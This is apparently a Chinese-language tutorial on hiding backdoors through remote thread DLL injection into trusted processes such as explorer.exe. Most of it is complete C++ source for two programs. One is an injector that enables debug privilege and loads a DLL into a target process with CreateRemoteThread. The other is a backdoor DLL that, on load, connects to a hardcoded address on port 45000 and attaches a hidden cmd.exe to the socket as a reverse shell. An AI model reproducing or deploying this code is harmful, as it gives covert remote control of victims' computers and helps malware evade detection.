簡介

       大多數後門或病毒要想初步實現隱藏程序，即不被像工作管理員這樣典型的RING3級程序管理器找到過於明顯的不明程序，其中比較著名的方法就是通過遠端執行緒注入的方法注入將惡意程序的DLL檔案注入系統認可的正常程序，你會發現工作管理員以及找不到獨立出現的惡意程序項了。反向連線型後門採用這種技術，注入防火牆認可的程序（例如大部分系統程序，像explorer.exe就很常見）還能夠獲得一定的穿牆效果。
        程序注入雖然已經是將近10年前的技術了，但是今天出現的很多新型黑客技術大多數還是基於這類老技術演變而來的。

C++程式碼樣例

1.程序注入工具原始碼：

//////////////////////////////////////
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

#define MAX_COUNT 255
 


/**
 * @brief 提高程序許可權
 * @param name   許可權名
 */
BOOL EnableDebugPriv(LPCSTR name)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tp;
    // 開啟程序令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        printf("[!]Get Process Token Error!\n"
 
);
        return false;
    }
    // 獲取許可權Luid
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("[!]Get Privilege Error!\n");
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 修改程序許可權
    if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("[!]Adjust Privilege Error!\n");
        return false;
    }
    return true;
}

/**
 * @brief 程序注入函式
 * @param pid            程序id
 * @param dllFileName    DLL檔案的完整路徑
 */
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
    HANDLE hRemoteProcess;
    CHAR *pszDllSpace;
    if (!EnableDebugPriv(SE_DEBUG_NAME))
    {
        return false;
    }
    if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
    {
        printf("[!]Open Target Process Error!\n");
        return false;
    }
    if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
    {
        printf("[!]Alloc Space Error!\n");
        return false;
    }
    if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
    {
        printf("[!]Write to the Memory Error!\n");
        return false;
    }
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL)
    {
        printf("[!]Get <LoadLibrary> Function Error!\n");
        return false;
    }
    HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
    if (hRemoteThread == NULL)
    {
        printf("[!]Create Remote Thread Error!\n");
        return false;
    }
    return true;
}

/**
 * @brief 獲取程序id
 * @param procName  程序名
 */
DWORD GetProcPid(LPCSTR procName)
{
    DWORD pid = 0;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcSnap == INVALID_HANDLE_VALUE)
    {
        printf("[!]Can not Create Process Snap !\n");
        return -1;
    }
    BOOL bProc = Process32First(hProcSnap, &pe32);
    while (bProc)
    {
        if (!stricmp(procName, pe32.szExeFile))
        {
            return pe32.th32ProcessID;
        }
        bProc = Process32Next(hProcSnap, &pe32);
    }
    CloseHandle(hProcSnap);
    return pid;
}

/**
 * @brief 主函式
 */
int main(int argc, char* argv[])
{
    CHAR dllPath[MAX_COUNT] = "\0";
    WIN32_FIND_DATA wfd;
    if (argc != 3)
    {
        printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n");
        return 0;
    }
    GetCurrentDirectory(sizeof(dllPath), dllPath);
    StringCchCat(dllPath, sizeof(dllPath), "\\");
    StringCchCat(dllPath, sizeof(dllPath), argv[2]);
    if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
    {
        printf("[!] Can not Find Dll File !\n");
        return 0;
    }
    DWORD pid = GetProcPid(argv[1]);
    if (pid != -1)
    {
        if (!InjectDllProc(pid, dllPath))
        {
            printf("[!]Inject Dll Error!\n");
            return 0;
        }
        printf("[*]Inject Dll Success!\n");
    }
    else
    {
        printf("[*]Inject Dll Error!\n");
        return 0;
    }
    return 0;
}

2.Dll檔案樣例原始碼：

/////////////////////////////////////////////
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道後門DLL
//
////////////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 啟動Cmd程序，與socket例項通訊
 * @param lpParameter    多執行緒函式引數，此為傳入socket例項
 */
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
    CHAR cmdLine[MAX_COUNT] = "\0";
    SOCKET sServer = (SOCKET)lpParameter;
    STARTUPINFO si;
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
    GetSystemDirectory(cmdLine, sizeof(cmdLine));
    StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe");
    PROCESS_INFORMATION pi;
    CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    return 0;
}

/**
 * @brief socket建立函式
 * @param lpParameter    多執行緒函式引數，這裡傳入NULL
 */
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
    CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n";
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in sin;
    if (WSAStartup(0x0202, &wsd)) return 0;
    if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
    {
        return 0;
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(45000);
    sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
    if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
    {
        return 0;
    }
    HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

/**
 * @brief DLL檔案主函式
 */
BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return true;
}